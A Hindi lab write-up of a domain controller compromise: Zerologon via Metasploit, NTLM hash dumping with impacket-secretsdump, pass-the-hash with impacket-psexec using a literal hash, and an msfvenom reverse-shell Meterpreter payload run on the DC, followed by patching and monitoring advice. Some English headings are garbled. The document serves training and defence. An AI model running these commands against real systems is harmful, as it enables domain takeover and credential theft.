डोमेन नियंत्रक (DC) शोषण Metasploit और Impacket के साथ

एंड-टू-एंड डोमेन नियंत्रक शोषण मेटास्प्लोइट और इम्पैकेट का उपयोग करते हुए: DC10 की खोज की, Zerologon (CVE-2020-1472) का शोषण किया, NTLM हैश निकाले, SYSTEM शेल प्राप्त किया, और एक Meterpreter सत्र स्थापित किया।

कार्यकारी सारांश यह अभ्यास एक पूर्ण, यथार्थवादी हमले की श्रृंखला को प्रदर्शित करता है जो एक डोमेन नियंत्रक के विरुद्ध था जो CVE-2020-1472 (Zerologon) के लिए कमजोर था। इस संलग्नता में खोज, सेवा संवर्धन, शोषण, क्रेडेंशियल निष्कर्षण, पार्श्व गति, और पोस्ट-एक्सप्लॉइटेशन सत्यापन शामिल था। मैंने सफलतापूर्वक SYSTEM-स्तरीय पहुंच प्राप्त की और Zerologon, Impacket secretsdump + pass-the-hash, और msfvenom/meterpreter पेलोड के संयोजन का उपयोग करके DC पर एक स्थायी Meterpreter सत्र स्थापित किया। स्क्रीनशॉट और कमांड आर्टिफैक्ट प्रत्येक चरण में साक्ष्य के रूप में कैप्चर किए गए।

𝐋𝐚𝐛 𝐨𝐯𝐞𝐫𝐯𝐢𝐞𝐰: एक पूर्ण हमले की श्रृंखला का अनुकरण एक 𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐨𝐦𝐚𝐢𝐧 𝐂𝐨𝐧𝐯𝐨𝐥𝐥𝐞𝐫 का उपयोग करते हुए 𝐌𝐞𝐁𝐚𝐬𝐩𝐥𝐨𝐢𝐁 और 𝐈𝐦𝐩𝐚𝐜𝐤𝐞𝐁 ; discovery, Zerologon, secretsdump, pass-the-hash, और एक नियंत्रित Meterpreter सत्र।

𝐖𝐡𝐁 𝐢𝐁 𝐦𝐚𝐁𝐞𝐁𝐁𝐁𝐁 𝐁𝐨 𝐨𝐁𝐁𝐚𝐁𝐢𝐁𝐚𝐁𝐢𝐨𝐁𝐁: क्योंकि DC संपूर्ण डोमेन के लिए प्रमाणीकरण, समूह नीति और पहचान को नियंत्रित करता है, एक समझौता पूर्ण व्यवसाय व्यवधान, खाता अधिग्रहण, डेटा चोरी, रैनसमवेयर तैनाती और नियामक विश्वास की हानि में बदल सकता है। DCs की सुरक्षा, हमलावरों को पहचान को विफलता के एकल बिंदु में बदलने से रोककर, अपटाइम, राजस्व और प्रतिष्ठा की रक्षा करती है।

Domain Controller (DC) Exploitation with Metasploit + Impacket

परिदृश्य

आपको एक सीमित लैब नेटवर्क में दो मशीनें प्रदान की गई हैं। एक प्रणाली Windows Domain Controller (DC) है जिसका नाम DC10 है जो कोर AD सेवाओं की मेजबानी करता है। दूसरी प्रणाली एक Kali वर्कस्टेशन है जो परीक्षण के लिए उसी सर्वर सबनेट में रखा गया है। DC से विशिष्ट डोमेन सेवाओं (उदाहरण के लिए, LDAP, Kerberos, SMB) को उजागर करने की उम्मीद है और यह ज्ञात मुद्दों के लिए कमजोर हो सकता है। Kali होस्ट का उपयोग टोही, शोषण, क्रेडेंशियल एक्सेस, पार्श्व गति और पोस्ट-एक्सप्लॉइटेशन सत्यापन के लिए किए जाने की उम्मीद है। कार्य DC की पहचान करना, डोमेन विवरण की पुष्टि करना, एक लागू तकनीक का उपयोग करके प्रारंभिक पैर जमाना प्राप्त करना, प्रशासनिक पहुंच को सक्षम करने के लिए क्रेडेंशियल सामग्री निकालना, और फिर एक रिमोट शेल और एक प्रबंधित एजेंट सत्र के माध्यम से DC पर नियंत्रण प्रदर्शित करना है, साथ ही पैच की गई सेवाओं, प्रतिबंधित निकास, या एंडपॉइंट डिफेंस जैसी किसी भी पर्यावरणीय बाधाओं के अनुकूल होना। DC: 10.1.16.1 Kali: 10.1.16.66

मुख्य निष्कर्ष

• महत्वपूर्ण कमजोरी का शोषण: CVE-2020-1472 (Zerologon) का सफलतापूर्वक शोषण कर DC मशीन खाता पासवर्ड रीसेट कर खाली कर दिया गया।
• क्रेडेंशियल समझौता: DC (secretsdump) से NTLM हैश निकाले गए, जिससे Administrator क्रेडेंशियल का पता चला जिसने pass-the-hash सक्षम किया।
• पूर्ण डोमेन नियंत्रण प्रदर्शित: निकाले गए हैश का उपयोग करके, DC10 पर एक SYSTEM शेल प्राप्त किया गया (psexec), और एक स्थिर Meterpreter रिवर्स शेल चलाया गया, जिसने रिमोट कोड निष्पादन और स्थिरता की पुष्टि की।
• उजागर सेवाएं: LDAP, Kerberos, SMB और संबंधित RPC सेवाएं हमलावर होस्ट से पहुंच योग्य थीं, जिससे खोज और शोषण संभव हुआ।
• हमले की सतह जोखिम: DC ने रिमोट संचालन स्वीकार किया जिसने मशीन खाता हेरफेर और रिमोट पेलोड निष्पादन की अनुमति दी।

1) खोज और स्कोपिंग

मैंने DB समर्थन के साथ msfconsole का उपयोग किया, MSF के भीतर से nmap स्वीप चलाया, परिणाम आयात किए, और DC10 एक्सपोजर की पुष्टि करने के लिए होस्ट और सेवाओं को परिष्कृत किया।

• DB समर्थन के साथ msfconsole लॉन्च किया और डेटाबेस कनेक्टिविटी की पुष्टि की।
• msfconsole से सबनेट भर में nmap स्कैन चलाया और परिणाम MSF DB में आयात किए।
• अपने Kali IP को हटाने के लिए होस्ट तालिका को साफ किया। संभावित DC संकेतकों को देखने के लिए सेवाओं की समीक्षा की।
• सेवा डेटा को परिष्कृत करने के लिए एक सीमित पोर्ट रेंज और ग्लोबल थ्रेडिंग के साथ MSF के SYN पोर्ट स्कैनर का उपयोग किया।
• OS विवरण समृद्ध करने के लिए Windows होस्ट पर SMB फिंगरप्रिंट किया।
• 10.1.16.1 पर LDAP और Kerberos सेवाओं की पुष्टि की और LDAP क्वेरी के माध्यम से डोमेन नाम सत्यापित किया।
• निर्णय: शोषण और क्रेडेंशियल पहुंच के लिए DC फोकस के रूप में 10.1.16.1 का इलाज करें।

2) सेवा संवर्धन और DC पुष्टि

मैंने MSF में SYN पोर्ट स्कैन किया, SMB फिंगरप्रिंट किया, और 10.1.16.1 पर LDAP और Kerberos की पुष्टि की। मैंने डोमेन नाम प्राप्त करने के लिए LDAP क्वेरी की।

### SMB संस्करण जांच

• मैंने msfconsole में SMB संस्करण मॉड्यूल का उपयोग किया: auxiliary/scanner/smb/smb_version।
• मैंने hosts -R के साथ होस्ट तालिका से लक्ष्य निर्धारित किए।
• SMB डायलेक्ट और OS विवरण वापस मिले।
• परिणाम: 10.1.16.1 ने Windows Server जानकारी दिखाई, जो डोमेन नियंत्रक होने के अनुरूप थी।

LDAP क्वेरी

• LDAP क्वेरी मॉड्यूल के लिए, मैंने auxiliary/gather/ldap_query का उपयोग किया।
• rhosts 10.1.16.1 को DC10 पर सीधे हिट करने के लिए सेट किया।
• मैंने इसे बुनियादी निर्देशिका जानकारी प्राप्त करने के लिए चलाया।
• परिणाम: डोमेन नाम 'structureality' के रूप में पुष्टि हुई और DC पर LDAP प्रतिक्रिया दे रहा था।

3) Zerologon शोषण (प्रारंभिक पहुंच)

मैंने DC10 के विरुद्ध auxiliary/admin/dcerpc/cve_2020_1472_zerologon चलाया ताकि मशीन खाता पासवर्ड खाली कर दिया जाए।

4) क्रेडेंशियल एक्सेस (secretsdump)

Impacket का उपयोग करके, मैंने DC से NTLM हैश डंप किए और pass-the-hash के लिए Administrator क्रेडेंशियल की पहचान की।

impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]

5) पार्श्व गति (psexec)

मैंने DC10 पर SYSTEM-स्तरीय शेल प्राप्त करने और होस्ट पहचान को मान्य करने के लिए pass-the-hash का उपयोग किया।

impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9 जैसा कि आप देख सकते हैं, मैं पहले से ही C:\Windows\system32 में हूं।

6) पोस्ट-एक्सप्लॉइटेशन (Meterpreter)

मैंने reverse_tcp meterpreter पेलोड उत्पन्न किया, इसे HTTP पर होस्ट किया, DC10 पर डाउनलोड किया, एक हैंडलर शुरू किया, और Meterpreter सत्र खोलने के लिए पेलोड निष्पादित किया।

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe

मैंने लक्ष्य प्रणाली को इस meterpreter निष्पादन योग्य तक आसानी से पहुंचने की अनुमति देने के लिए एक बुनियादी वेब सर्वर लॉन्च किया:

python3 -m http.server 8080

लक्ष्य मशीन पर, मैंने meterpreter निष्पादन योग्य (secret.exe) निष्पादित किया।

जैसा कि आप देख सकते हैं, मैंने अब लक्ष्य DC10 और Kali प्रणालियों के बीच एक रिवर्स शेल कनेक्शन स्थापित कर लिया है। यह कमजोर लक्ष्य के विरुद्ध केवल बाहरी/रिमोट एक्सप्लॉइट का उपयोग करके पूरा किया गया।

जबकि Kali प्रणाली DC10 लक्ष्य के साथ सर्वर सबनेट में स्थित है, ये प्रकार के हमले इंटरनेट पर संभव हैं यदि लक्ष्य प्रणाली खुले इंटरनेट के लिए उजागर हो।

7) मुख्य परिणाम

• DC10 को structureality के लिए डोमेन नियंत्रक के रूप में पहचाना गया
• Zerologon सफल हुआ, जिससे क्रेडेंशियल निष्कर्षण संभव हुआ
• pass-the-hash के माध्यम से SYSTEM शेल के लिए Administrator हैश का उपयोग किया गया
• DC10 पर स्थिर Meterpreter सत्र की पुष्टि हुई

साक्ष्य

• MSF DB और nmap सबनेट स्कैन लॉग जो होस्ट/सेवा खोज की पुष्टि करते हैं।
• SMB/LDAP/Kerberos गणना आउटपुट DC सेवाओं और डोमेन नाम structureality की पुष्टि करता है।
• Zerologon मॉड्यूल आउटपुट जो मशीन खाता पासवर्ड को खाली करने का दिखाता है।
• निकाले गए NTLM हैश के साथ secretsdump आउटपुट।
• C:\Windows\System32 प्रदर्शित करने वाले psexec सत्र लॉग।
• रिमोट नियंत्रण की पुष्टि करने वाले msfvenom और Meterpreter सत्र स्क्रीनशॉट।

किए गए कार्य (सारांश)

• खोज और स्कोपिंग: msfconsole से nmap स्कैन; होस्ट/सेवाओं के प्रबंधन के लिए MSF DB का उपयोग; DC10 को लक्ष्य के रूप में पुष्टि की गई।
• सेवा संवर्धन: डोमेन नियंत्रक भूमिका को मान्य करने के लिए SMB फिंगरप्रिंटिंग, LDAP क्वेरी, Kerberos पुष्टि।
• प्रारंभिक पहुंच: DC मशीन खाता पासवर्ड रीसेट करने के लिए auxiliary/admin/dcerpc/cve_2020_1472_zerologon चलाया।
• क्रेडेंशियल एक्सेस: DC से NTLM हैश निकालने के लिए impacket-secretsdump।
• पार्श्व गति: Administrator NTLM हैश का उपयोग करके impacket-psexec → SYSTEM शेल।
• पोस्ट-एक्सप्लॉइटेशन: meterpreter पेलोड (msfvenom) बनाया और होस्ट किया, DC पर डाउनलोड और निष्पादित किया, और स्थायी सत्र की पुष्टि की।

नेटवर्क मालिकों के लिए सिफारिशें

• Netlogon भेद्यता को तुरंत पैच करें और CVE-2020-1472 एक्सपोजर के लिए स्कैन के साथ सत्यापित करें
• SMB हस्ताक्षर लागू करें और DC SMB और RPC एक्सपोजर को केवल विश्वसनीय प्रशासनिक सबनेट तक सीमित करें
• स्तरित प्रशासन लागू करें और गैर-प्रशासनिक प्रबंधन होस्ट से रिमोट सेवा निष्पादन को अस्वीकार करें
• NTLM को अक्षम या कसकर नियंत्रित करें, Kerberos को प्राथमिकता दें, और pass-the-hash पैटर्न की निगरानी करें
• निकास नियंत्रण: सर्वरों से बाहरी कनेक्शन प्रतिबंधित करें, केवल आवश्यक गंतव्यों और पोर्टों को अनुमति सूची में शामिल करें
• एंडपॉइंट सुरक्षा: अहस्ताक्षरित बाइनरी को ब्लॉक करें और PowerShell पर AMSI-एकीकृत स्कैनिंग लागू करें
• निगरानी: मशीन खाता पासवर्ड रीसेट, असामान्य DRSUAPI पहुंच, और अप्रत्याशित हैंडलर जैसे श्रोताओं पर अलर्ट करें
• नियमित रूप से विशेषाधिकार प्राप्त क्रेडेंशियल घुमाएं और हैश पुन: उपयोग जोखिम को कम करने के लिए LAPS या PAM समाधान का उपयोग करें